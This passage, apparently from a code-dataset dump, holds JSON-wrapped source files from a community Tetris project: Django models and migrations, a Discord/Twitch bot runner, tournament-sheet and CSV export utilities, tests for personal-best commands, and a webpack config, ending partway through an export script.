add as a [git submodule](https://git-scm.com/book/en/v2/Git-Tools-Submodules) of this one. It will probably be added within seven days of the commit that added this paragraph.\n\nAside from that, many future bot functions (other than a few relatively minor changes on our [to-do list](https://github.com/professor-l/classic-tetris-project/projects/1)) are still unknown to us. We take suggestions and input from the community, and when inspiration strikes, we jump on it, and that has created a very open-ended project. That's another reason we welcome contributors - the more minds we have, the more diverse our set of perspectives, the better our software will be.\n" }, { "alpha_fraction": 0.6312364339828491, "alphanum_fraction": 0.6442516446113586, "avg_line_length": 37.95774459838867, "blob_id": "9a25f54b5c6ff865ec96359e1bc980f864de7a12", "content_id": "2c92f186032c8f76ef7051b9ff1ecf92b5f022d7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2766, "license_type": "permissive", "max_line_length": 102, "num_lines": 71, "path": "/classic_tetris_project/util/tournament_sheet_updater.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from ..facades.tournament_match_display import TournamentMatchDisplay\nfrom .google_sheets import GoogleSheetsService\n\n\nMATCH_NUMBER = \"match number\"\nROUND_NUMBER = \"round number\"\nPLAYER_1 = \"player 1\"\nPLAYER_1_SEED = \"player 1 seed\"\nPLAYER_1_WINS = \"player 1 wins\"\nPLAYER_2 = \"player 2\"\nPLAYER_2_SEED = \"player 2 seed\"\nPLAYER_2_WINS = \"player 2 wins\"\nWINNER = \"winner\"\nLOSER = \"loser\"\nTIME = \"time\"\nCHANNEL = \"channel\"\nVOD = \"vod\"\nMATCH_URL = \"match url\"\n\nHEADERS = [\n MATCH_NUMBER, ROUND_NUMBER,\n PLAYER_1, PLAYER_1_SEED, PLAYER_1_WINS,\n PLAYER_2, PLAYER_2_SEED, PLAYER_2_WINS,\n WINNER, LOSER,\n TIME, CHANNEL, VOD, MATCH_URL,\n]\n\nclass TournamentSheetUpdateError(Exception):\n pass\n\nclass TournamentSheetUpdater:\n def __init__(self, tournament):\n self.tournament = tournament\n self.matches = list(tournament.matches.order_by(\"match_number\"))\n\n def update(self):\n if self.tournament.google_sheets_id and self.tournament.google_sheets_range:\n sheets = GoogleSheetsService()\n sheets.update(\n self.tournament.google_sheets_id,\n self.tournament.google_sheets_range,\n self.tournament_data()\n )\n\n def tournament_data(self):\n data = []\n data.append(HEADERS)\n for match in self.tournament.matches.order_by(\"match_number\"):\n row = self.match_data(match)\n data.append([row[header] for header in HEADERS])\n data.append([\"DO NOT EDIT, THIS SHEET IS AUTOMATICALLY GENERATED\"])\n return data\n\n def match_data(self, match):\n match_time = match.match.start_date or match.match.ended_at if match.match else None\n return {\n MATCH_NUMBER: match.match_number,\n ROUND_NUMBER: match.round_number,\n PLAYER_1: match.player1.user.display_name if match.player1 and match.player1.user else \"\",\n PLAYER_1_SEED: match.player1.seed if match.player1 else \"\",\n PLAYER_1_WINS: match.match.wins1 if match.match and match.match.ended_at else \"\",\n PLAYER_2: match.player2.user.display_name if match.player2 and match.player2.user else \"\",\n PLAYER_2_SEED: match.player2.seed if match.player2 else \"\",\n PLAYER_2_WINS: match.match.wins2 if match.match and match.match.ended_at else \"\",\n WINNER: match.winner.display_name() if match.winner else \"\",\n LOSER: match.loser.display_name() if match.loser else \"\",\n TIME: match_time.isoformat() if match_time else \"\",\n CHANNEL: match.match.channel.name if match.match and match.match.channel else \"\",\n VOD: match.match.vod if match.match else \"\",\n MATCH_URL: match.get_absolute_url(include_base=True),\n }\n" }, { "alpha_fraction": 0.7037037014961243, "alphanum_fraction": 0.7037037014961243, "avg_line_length": 20.600000381469727, "blob_id": "a3dab4340dab188494c92fca04bd17a6f41d66b3", "content_id": "884419d19a2f49fbdad57a82b015819c3a3acd69", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 108, "license_type": "permissive", "max_line_length": 32, "num_lines": 5, "path": "/classic_tetris_project/admin.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "try:\n from .private.admin import *\nexcept ModuleNotFoundError:\n # private not loaded, ignore\n pass\n" }, { "alpha_fraction": 0.5292439460754395, "alphanum_fraction": 0.5463623404502869, "avg_line_length": 33.19512176513672, "blob_id": "4af2c2009458901a5488d3ec8a229cfad48834bc", "content_id": "5c60efd497243507b27cf89859f33912ad3688af", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1402, "license_type": "permissive", "max_line_length": 123, "num_lines": 41, "path": "/classic_tetris_project/migrations/0002_auto_20190628_1733.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.2 on 2019-06-28 17:33\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='user',\n name='country',\n field=models.CharField(max_length=3, null=True),\n ),\n migrations.CreateModel(\n name='TwitchUser',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('twitch_id', models.CharField(max_length=64)),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.User')),\n ],\n options={\n 'abstract': False,\n },\n ),\n migrations.CreateModel(\n name='DiscordUser',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('discord_id', models.CharField(max_length=64)),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.User')),\n ],\n options={\n 'abstract': False,\n },\n ),\n ]\n" }, { "alpha_fraction": 0.6716057658195496, "alphanum_fraction": 0.6743624806404114, "avg_line_length": 36.20512771606445, "blob_id": "70cb743b66638c3186c04c134b18c9926a922aa9", "content_id": "7dce1de301b4088df9803b64f239220531f643f0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2902, "license_type": "permissive", "max_line_length": 129, "num_lines": 78, "path": "/classic_tetris_project/management/commands/bot.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from asgiref.sync import sync_to_async\nfrom django.core.management.base import BaseCommand, CommandError\nfrom threading import Thread\nimport logging.config\nimport yaml\n\nfrom ... import discord, twitch\nfrom ...commands.command_context import DiscordCommandContext, TwitchCommandContext, ReportCommandContext, ScheduleCommandContext\nfrom ...moderation.moderator import DiscordModerator\nfrom ...env import env\nfrom ...logging import LoggingManager\n\"\"\"\nThe discord.py library uses asyncio coroutines for all event \nhandlers and blocking API calls. That's nice, but for now we\ndon't want that to leak into the rest of our application, where\nblocking synchronous functions (e.g. Django's ORM operations)\nwill interfere with the event loop.\n\nInstead, we've decided to write our application synchronously.\nThis involves dispatching events in a new thread and \nre-entering the event loop when calling async discord.py \nfunctions.\n\nSome useful background on this approach is discussed in this\narticle:\nhttps://www.aeracode.org/2018/02/19/python-async-simplified/\n\"\"\"\n\nclass Command(BaseCommand):\n def run_discord(self):\n @discord.client.event\n async def on_ready():\n discord.logger.info(\"Connected to Discord\")\n\n @discord.client.event\n async def on_message_edit(before, after):\n if DiscordModerator.is_rule(after):\n moderator = DiscordModerator(after)\n await sync_to_async(moderator.dispatch)()\n\n @discord.client.event\n async def on_message(message):\n if DiscordModerator.is_rule(message):\n moderator = DiscordModerator(message)\n await sync_to_async(moderator.dispatch)()\n \n if DiscordCommandContext.is_command(message.content):\n context = DiscordCommandContext(message)\n await sync_to_async(context.dispatch)()\n \n if ReportCommandContext.is_command(message.content):\n context = ReportCommandContext(message)\n await sync_to_async(context.dispatch)()\n\n if ScheduleCommandContext.is_command(message.content):\n context = ScheduleCommandContext(message)\n await sync_to_async(context.dispatch)()\n\n discord.client.run(env(\"DISCORD_TOKEN\"))\n\n def run_twitch(self):\n @twitch.client.on_welcome\n def on_welcome():\n twitch.logger.info(\"Connected to twitch\")\n\n @twitch.client.on_message\n def on_message(message):\n if TwitchCommandContext.is_command(message.content):\n context = TwitchCommandContext(message)\n context.dispatch()\n\n twitch.client.start()\n\n def handle(self, *args, **options):\n LoggingManager.setup()\n twitch_thread = Thread(target=self.run_twitch)\n twitch_thread.start()\n self.run_discord()\n" }, { "alpha_fraction": 0.5483304262161255, "alphanum_fraction": 0.5817223191261292, "avg_line_length": 23.7391300201416, "blob_id": "6fc30527721cd7c556b5610e35151668d64e9345", "content_id": "dc75be2396279327b3e4e1a34fe4489fdfd44a4c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 569, "license_type": "permissive", "max_line_length": 63, "num_lines": 23, "path": "/classic_tetris_project/migrations/0036_auto_20210201_0603.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-02-01 06:03\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0035_qualifier_auth_word'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='qualifier',\n name='submitted',\n field=models.BooleanField(default=False),\n ),\n migrations.AddField(\n model_name='qualifier',\n name='submitted_at',\n field=models.DateTimeField(null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5401301383972168, "alphanum_fraction": 0.574837327003479, "avg_line_length": 31.928571701049805, "blob_id": "814802e15ee35846889e40d3da12206616abced3", "content_id": "6ef51daf51404da30fb41d245f9b1ee063d04910", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 922, "license_type": "permissive", "max_line_length": 141, "num_lines": 28, "path": "/classic_tetris_project/migrations/0068_auto_20220717_0652.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-07-17 06:52\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0067_event_withdrawals_allowed'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='event',\n name='vod_required',\n field=models.BooleanField(default=True),\n ),\n migrations.AlterField(\n model_name='event',\n name='qualifying_type',\n field=models.IntegerField(choices=[(1, 'Highest Score'), (2, 'Highest 2 Scores'), (3, 'Highest 3 Scores'), (4, 'Most Maxouts')]),\n ),\n migrations.AlterField(\n model_name='qualifier',\n name='qualifying_type',\n field=models.IntegerField(choices=[(1, 'Highest Score'), (2, 'Highest 2 Scores'), (3, 'Highest 3 Scores'), (4, 'Most Maxouts')]),\n ),\n ]\n" }, { "alpha_fraction": 0.5953062176704407, "alphanum_fraction": 0.6021751761436462, "avg_line_length": 51.149253845214844, "blob_id": "4cc2816f0fad6b903fb957f90607ab863fb50b0b", "content_id": "8b08d874e4dd7c3057aa378e4213809134fe88e3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3494, "license_type": "permissive", "max_line_length": 170, "num_lines": 67, "path": "/classic_tetris_project/migrations/0031_auto_20201220_0544.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2020-12-20 05:44\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport markdownx.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('classic_tetris_project', '0030_page'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Event',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=64)),\n ('slug', models.SlugField()),\n ('qualifying_type', models.IntegerField(choices=[(1, 'Three Score Average')])),\n ('qualifying_open', models.BooleanField(default=False)),\n ('qualifying_instructions', markdownx.models.MarkdownxField(blank=True)),\n ('event_info', markdownx.models.MarkdownxField(blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='Qualifier',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('qualifying_score', models.IntegerField()),\n ('qualifying_data', models.JSONField()),\n ('vod', models.URLField()),\n ('details', models.TextField(blank=True)),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('approved', models.BooleanField(default=None, null=True)),\n ('reviewed_at', models.DateTimeField(null=True)),\n ('event', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='qualifiers', to='classic_tetris_project.event')),\n ('reviewed_by', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='classic_tetris_project.user')),\n ],\n ),\n migrations.CreateModel(\n name='Tournament',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=64)),\n ('event', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.event')),\n ],\n ),\n migrations.CreateModel(\n name='TournamentPlayer',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('seed', models.IntegerField()),\n ('event', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='tournament_players', to='classic_tetris_project.tournament')),\n ('qualifier', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='tournament_player', to='classic_tetris_project.qualifier')),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='tournament_players', to='classic_tetris_project.user')),\n ],\n ),\n migrations.AddConstraint(\n model_name='qualifier',\n constraint=models.UniqueConstraint(fields=('event', 'user'), name='unique_event_user'),\n ),\n ]\n" }, { "alpha_fraction": 0.530871570110321, "alphanum_fraction": 0.5637213587760925, "avg_line_length": 38.53080749511719, "blob_id": "30c037ba9d999f17a219b6298cb4689557c43711", "content_id": "615675d29a4f488db703650905634b2e936041ef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8341, "license_type": "permissive", "max_line_length": 98, "num_lines": 211, "path": "/classic_tetris_project/tests/commands/pb.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.test_helper import *\n\nclass GetPBCommand_(CommandSpec):\n class discord:\n def test_with_no_user(self):\n self.assert_discord(\"!pb\", [\n \"User has not set a PB.\"\n ])\n\n def test_with_no_pb(self):\n self.discord_user\n\n self.assert_discord(\"!pb\", [\n \"User has not set a PB.\"\n ])\n\n def test_with_ntsc_pb(self):\n self.discord_user.user.add_pb(100000)\n\n self.assert_discord(\"!pb\", [\n f\"{self.discord_api_user.name} has an NTSC PB of 100,000.\"\n ])\n\n def test_with_ntsc_18_and_19_pb(self):\n self.discord_user.user.add_pb(600000, starting_level=18)\n self.discord_user.user.add_pb(100000, starting_level=19)\n\n self.assert_discord(\"!pb\", [\n f\"{self.discord_api_user.name} has an NTSC PB of 600,000 (100,000 19 start).\"\n ])\n\n def test_with_pal_pb(self):\n self.discord_user.user.add_pb(100000, console_type=\"pal\")\n\n self.assert_discord(\"!pb\", [\n f\"{self.discord_api_user.name} has a PAL PB of 100,000.\"\n ])\n\n def test_with_ntsc_and_pal_pb(self):\n self.discord_user.user.add_pb(200000, console_type=\"ntsc\")\n self.discord_user.user.add_pb(100000, console_type=\"pal\")\n\n self.assert_discord(\"!pb\", [\n f\"{self.discord_api_user.name} has an NTSC PB of 200,000 and a PAL PB of 100,000.\"\n ])\n\n @patch(\"classic_tetris_project.commands.command.Command.any_platform_user_from_username\",\n return_value=None)\n def test_with_nonexistent_user(self, _):\n self.assert_discord(\"!pb Other User\", [\n \"User has not set a PB.\"\n ])\n\n @patch(\"classic_tetris_project.commands.command.Command.any_platform_user_from_username\")\n def test_with_user_with_no_pb(self, any_platform_user_from_username):\n discord_user = DiscordUserFactory(username=\"Other User\")\n any_platform_user_from_username.return_value = discord_user\n\n self.assert_discord(\"!pb Other User\", [\n \"User has not set a PB.\"\n ])\n\n any_platform_user_from_username.assert_called_once_with(\"Other User\")\n\n @patch(\"classic_tetris_project.commands.command.Command.any_platform_user_from_username\")\n def test_with_user_with_pb(self, any_platform_user_from_username):\n discord_user = DiscordUserFactory(username=\"Other User\")\n discord_user.user.add_pb(100000)\n any_platform_user_from_username.return_value = discord_user\n\n self.assert_discord(\"!pb Other User\", [\n \"Other User has an NTSC PB of 100,000.\"\n ])\n\n any_platform_user_from_username.assert_called_once_with(\"Other User\")\n\n class twitch:\n @patch.object(twitch.APIClient, \"user_from_id\",\n lambda self, user_id, client=None: MockTwitchAPIUser.create(id=user_id))\n def test_with_no_user(self):\n self.assert_twitch(\"!pb\", [\n \"User has not set a PB.\"\n ])\n\n def test_with_no_pb(self):\n self.twitch_user\n\n self.assert_twitch(\"!pb\", [\n \"User has not set a PB.\"\n ])\n\n def test_with_ntsc_pb(self):\n self.twitch_user.user.add_pb(100000)\n\n self.assert_twitch(\"!pb\", [\n f\"{self.twitch_api_user.username} has an NTSC PB of 100,000.\"\n ])\n\n @patch(\"classic_tetris_project.commands.command.Command.any_platform_user_from_username\",\n return_value=None)\n def test_with_nonexistent_user(self, _):\n self.assert_twitch(\"!pb other_user\", [\n \"User has not set a PB.\"\n ])\n\n @patch(\"classic_tetris_project.commands.command.Command.any_platform_user_from_username\")\n def test_with_user_with_no_pb(self, any_platform_user_from_username):\n twitch_user = TwitchUserFactory(username=\"other_user\")\n any_platform_user_from_username.return_value = twitch_user\n\n self.assert_twitch(\"!pb other_user\", [\n \"User has not set a PB.\"\n ])\n\n any_platform_user_from_username.assert_called_once_with(\"other_user\")\n\n @patch(\"classic_tetris_project.commands.command.Command.any_platform_user_from_username\")\n def test_with_user_with_pb(self, any_platform_user_from_username):\n twitch_user = TwitchUserFactory(username=\"other_user\")\n twitch_user.user.add_pb(100000)\n any_platform_user_from_username.return_value = twitch_user\n\n self.assert_twitch(\"!pb other_user\", [\n \"other_user has an NTSC PB of 100,000.\"\n ])\n\n any_platform_user_from_username.assert_called_once_with(\"other_user\")\n\n\nclass SetPBCommand_(CommandSpec):\n class discord:\n def test_with_no_args(self):\n self.assert_discord(\"!setpb\", [re.compile(\"^Usage:\")])\n\n def test_with_no_user(self):\n self.assert_discord(\"!setpb 100,000\", [\n f\"<@{self.discord_api_user.id}> has a new NTSC PB of 100,000!\"\n ])\n\n assert_that(User.objects.count(), equal_to(1))\n assert_that(ScorePB.objects.count(), equal_to(1))\n user = User.objects.last()\n assert_that(user.get_pb(), equal_to(100000))\n\n def test_with_user(self):\n self.discord_user\n\n self.assert_discord(\"!setpb 100000\", [\n f\"<@{self.discord_api_user.id}> has a new NTSC PB of 100,000!\"\n ])\n\n assert_that(User.objects.count(), equal_to(1))\n assert_that(ScorePB.objects.count(), equal_to(1))\n assert_that(self.discord_user.user.get_pb(), equal_to(100000))\n\n def test_level(self):\n self.assert_discord(\"!setpb 100000 NTSC 19\", [\n f\"<@{self.discord_api_user.id}> has a new NTSC level 19 PB of 100,000!\"\n ])\n\n assert_that(ScorePB.objects.count(), equal_to(1))\n assert_that(User.objects.last().get_pb(console_type=\"ntsc\", starting_level=19),\n equal_to(100000))\n\n def test_pal(self):\n self.assert_discord(\"!setpb 100000 PAL\", [\n f\"<@{self.discord_api_user.id}> has a new PAL PB of 100,000!\"\n ])\n\n assert_that(ScorePB.objects.count(), equal_to(1))\n assert_that(User.objects.last().get_pb(console_type=\"pal\"), equal_to(100000))\n\n def test_errors(self):\n self.assert_discord(\"!setpb asdf\", [re.compile(\"^Usage:\")])\n self.assert_discord(\"!setpb -5\", [\"Invalid PB.\"])\n self.assert_discord(\"!setpb 10000000\", [\"You wish, kid >.>\"])\n self.assert_discord(\"!setpb 100000 NTSC -5\", [\"Invalid level.\"])\n self.assert_discord(\"!setpb 100000 NTSC 30\", [\"Invalid level.\"])\n self.assert_discord(\"!setpb 100000 foo\", [re.compile(\"^Invalid PB type\")])\n\n class twitch:\n def test_with_no_args(self):\n self.assert_twitch(\"!setpb\", [re.compile(\"Usage:\")])\n\n @patch.object(twitch.APIClient, \"user_from_id\",\n lambda self, user_id, client=None: MockTwitchAPIUser.create(id=user_id))\n def test_with_no_user(self):\n self.twitch_channel\n assert_that(User.objects.count(), equal_to(1))\n\n self.assert_twitch(\"!setpb 100,000\", [\n f\"@{self.twitch_api_user.username} has a new NTSC PB of 100,000!\"\n ])\n\n assert_that(User.objects.count(), equal_to(2))\n assert_that(ScorePB.objects.count(), equal_to(1))\n user = User.objects.last()\n assert_that(user.get_pb(), equal_to(100000))\n\n def test_with_user(self):\n self.twitch_channel\n self.twitch_user\n assert_that(User.objects.count(), equal_to(2))\n\n self.assert_twitch(\"!setpb 100000\", [\n f\"@{self.twitch_api_user.username} has a new NTSC PB of 100,000!\"\n ])\n\n assert_that(User.objects.count(), equal_to(2))\n assert_that(ScorePB.objects.count(), equal_to(1))\n assert_that(self.twitch_user.user.get_pb(), equal_to(100000))\n" }, { "alpha_fraction": 0.6904277205467224, "alphanum_fraction": 0.6904277205467224, "avg_line_length": 35.37036895751953, "blob_id": "7d2450b882b2495b7013593a3d3bff410a34ed30", "content_id": "0073dc4857242d081c559bf5ce01aba446c9c145", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 982, "license_type": "permissive", "max_line_length": 90, "num_lines": 27, "path": "/classic_tetris_project/discord_disco.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Uses disco instead of discordpy. This file is temporary; we'll probably end up switching\n# everything over to disco eventually.\n\nfrom disco.api.client import APIClient\n\nfrom .env import env\n\n\nDISCORD_USER_ID_WHITELIST = env(\"DISCORD_USER_ID_WHITELIST\")\n\nAPI = APIClient(env(\"DISCORD_TOKEN\", default=\"\"))\n\n\ndef send_direct_message(discord_user_id, *args, **kwargs):\n if env(\"DEBUG\") and discord_user_id not in DISCORD_USER_ID_WHITELIST:\n print(f\"Tried to send message to Discord user {discord_user_id}:\")\n print(f\"{args}, {kwargs}\")\n return\n channel = API.users_me_dms_create(discord_user_id)\n API.channels_messages_create(channel, *args, **kwargs)\n\ndef send_channel_message(channel_id, *args, **kwargs):\n if env(\"DEBUG\") and not env(\"DISCORD_CHANNEL_MESSAGES\"):\n print(f\"Tried to send message to Discord channel {channel_id}:\")\n print(f\"{args}, {kwargs}\")\n return\n API.channels_messages_create(channel_id, *args, **kwargs)\n" }, { "alpha_fraction": 0.6248422265052795, "alphanum_fraction": 0.6263569593429565, "avg_line_length": 37.83333206176758, "blob_id": "424b4c95804653466f7d992c141cad85d5ce751c", "content_id": "81333b5874c1d42ca7aa19e7df5fb4c39cb9ab40", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3961, "license_type": "permissive", "max_line_length": 130, "num_lines": 102, "path": "/classic_tetris_project/models/events.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.conf import settings\nfrom django.db import models, transaction\nfrom django.db.models import signals\nfrom django.urls import reverse\nfrom django.utils.text import slugify\nfrom furl import furl\nfrom markdownx.models import MarkdownxField\n\nfrom ..facades import qualifying_types\n\n\nclass Event(models.Model):\n name = models.CharField(max_length=64)\n slug = models.SlugField(db_index=True)\n qualifying_type = models.IntegerField(choices=qualifying_types.CHOICES)\n vod_required = models.BooleanField(default=True)\n qualifying_open = models.BooleanField(default=False)\n withdrawals_allowed = models.BooleanField(\n default=True,\n help_text=\"Controls whether users can withdraw their own qualifiers. Automatically disabled when tournaments are seeded.\"\n )\n pre_qualifying_instructions = MarkdownxField(blank=True)\n qualifying_instructions = MarkdownxField(blank=True)\n event_info = MarkdownxField(blank=True)\n qualifying_channel_id = models.CharField(\n max_length=64,\n blank=True,\n help_text=\"Discord channel id that qualifier announcements will be posted to. If blank, announcements will not be posted.\"\n )\n reporting_channel_id = models.CharField(\n max_length=64,\n blank=True,\n help_text=\"Discord channel id that match reports will be posted to. If blank, messages will not be posted.\"\n )\n\n def qualifying_type_class(self):\n return qualifying_types.QUALIFYING_TYPES[self.qualifying_type]\n\n def is_user_eligible(self, user):\n return self.user_ineligible_reason(user) is None\n\n # Returns the reason a user is ineligible to qualify for this event. Returns None if they are\n # eligible.\n def user_ineligible_reason(self, user):\n from .qualifiers import Qualifier\n if not self.qualifying_open:\n return \"closed\"\n if not user:\n return \"logged_out\"\n if Qualifier.objects.filter(event=self, user=user, submitted=True).exists():\n return \"already_qualified\"\n if not hasattr(user, \"twitch_user\"):\n return \"link_twitch\"\n if not hasattr(user, \"discord_user\"):\n return \"link_discord\"\n return None\n\n def get_absolute_url(self, include_base=False):\n path = reverse(\"event:index\", args=[self.slug])\n if include_base:\n return furl(settings.BASE_URL, path=path).url\n else:\n return path\n\n @transaction.atomic\n def seed_tournaments(self):\n self.qualifying_open = False\n self.withdrawals_allowed = False\n self.save()\n\n from ..facades.qualifier_table import QualifierTable\n table = QualifierTable(self)\n for group in table.groups():\n if \"tournament\" in group:\n tournament = group[\"tournament\"]\n if tournament.tournament_players.exists():\n # Some seeding has been done already, skip this tournament and resolve it\n # manually\n continue\n\n for qualifier_row in group[\"qualifier_rows\"]:\n if \"qualifier\" in qualifier_row and qualifier_row[\"qualifier\"]:\n tournament.tournament_players.create(\n seed=qualifier_row[\"seed\"],\n qualifier=qualifier_row[\"qualifier\"],\n user=qualifier_row[\"qualifier\"].user,\n )\n else:\n tournament.tournament_players.create(\n seed=qualifier_row[\"seed\"],\n name_override=qualifier_row[\"placeholder\"],\n )\n\n @staticmethod\n def before_save(sender, instance, **kwargs):\n if not instance.slug:\n instance.slug = slugify(instance.name)\n\n def __str__(self):\n return self.name\n\nsignals.pre_save.connect(Event.before_save, sender=Event)\n" }, { "alpha_fraction": 0.530152440071106, "alphanum_fraction": 0.530152440071106, "avg_line_length": 21.522388458251953, "blob_id": "99ddf58c3226e36e2d74dd2a8d5f72ee8a87387e", "content_id": "57cdbe63a246336a29600ca68e9fd935c2929549", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1509, "license_type": "permissive", "max_line_length": 92, "num_lines": 67, "path": "/webpack.common.js", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "const path = require('path')\nconst webpack = require('webpack')\nconst BundleTracker = require('webpack-bundle-tracker')\nconst MiniCssExtractPlugin = require('mini-css-extract-plugin');\n\nconst devMode = process.env.NODE_ENV !== 'production';\n\nmodule.exports = {\n context: __dirname,\n\n entry: {\n main: './classic_tetris_project/private/assets/app',\n admin: './classic_tetris_project/private/assets/admin',\n },\n\n output: {\n path: path.resolve('./static/bundles/'),\n filename: '[name]-[hash].js',\n },\n\n plugins: [\n new BundleTracker({\n path: __dirname,\n filename: './webpack-stats.json',\n }),\n new MiniCssExtractPlugin({\n filename: '[name]-[hash].css',\n }),\n new webpack.HotModuleReplacementPlugin(),\n\n new webpack.ProvidePlugin({\n $: \"jquery\",\n jQuery: \"jquery\"\n }),\n ],\n\n module: {\n rules: [\n { test: /\\.scss/, use: [MiniCssExtractPlugin.loader, 'css-loader', 'sass-loader' ], },\n {\n test: require.resolve('jquery'),\n loader: 'expose-loader',\n options: {\n exposes: ['$', 'jQuery'],\n },\n },\n {\n test: /\\.m?jsx?$/,\n exclude: /node_modules/,\n use: {\n loader: 'babel-loader',\n options: {\n presets: [\n ['@babel/preset-env', { targets: \"defaults\" }],\n '@babel/preset-react'\n ]\n }\n }\n },\n ],\n },\n\n resolve: {\n modules: ['node_modules'],\n extensions: ['.js', '.jsx']\n },\n}\n" }, { "alpha_fraction": 0.706099808216095, "alphanum_fraction": 0.709796667098999, "avg_line_length": 29.05555534362793, "blob_id": "3f5b990ed32156b137a2d43139296ea5d2f6c4af", "content_id": "b733ce6959b68ed3bd2329e9123761a6cbae6faa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 541, "license_type": "permissive", "max_line_length": 56, "num_lines": 18, "path": "/classic_tetris_project/models/pages.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.urls import reverse\nfrom markdownx.models import MarkdownxField\n\nclass Page(models.Model):\n title = models.CharField(max_length=64)\n slug = models.SlugField(db_index=True)\n public = models.BooleanField(default=False)\n content = MarkdownxField()\n\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def get_absolute_url(self):\n return reverse(\"page\", args=[self.slug])\n\n def __str__(self):\n return self.title\n" }, { "alpha_fraction": 0.498769074678421, "alphanum_fraction": 0.498769074678421, "avg_line_length": 47.35714340209961, "blob_id": "5dd1da75d90e4017ddae4b32cdcac100b9f34a7d", "content_id": "4d89725b94fb88e360d92d120499b3b72e999735", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2031, "license_type": "permissive", "max_line_length": 86, "num_lines": 42, "path": "/export.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project import discord\nfrom classic_tetris_project.env import env\n\[email protected]\nasync def on_ready():\n import csv\n from tqdm import tqdm\n\n from classic_tetris_project import discord\n from classic_tetris_project.countries import countries\n from classic_tetris_project.models import User\n\n with open('pbs.csv', 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=['twitch_id', 'twitch_username',\n 'discord_id', 'discord_username',\n 'ntsc_pb', 'ntsc_pb_updated_at',\n 'pal_pb', 'pal_pb_updated_at',\n 'country_code', 'country'])\n writer.writeheader()\n for user in tqdm(User.objects.all()):\n if user.ntsc_pb or user.pal_pb:\n d = {\n 'ntsc_pb': user.ntsc_pb,\n 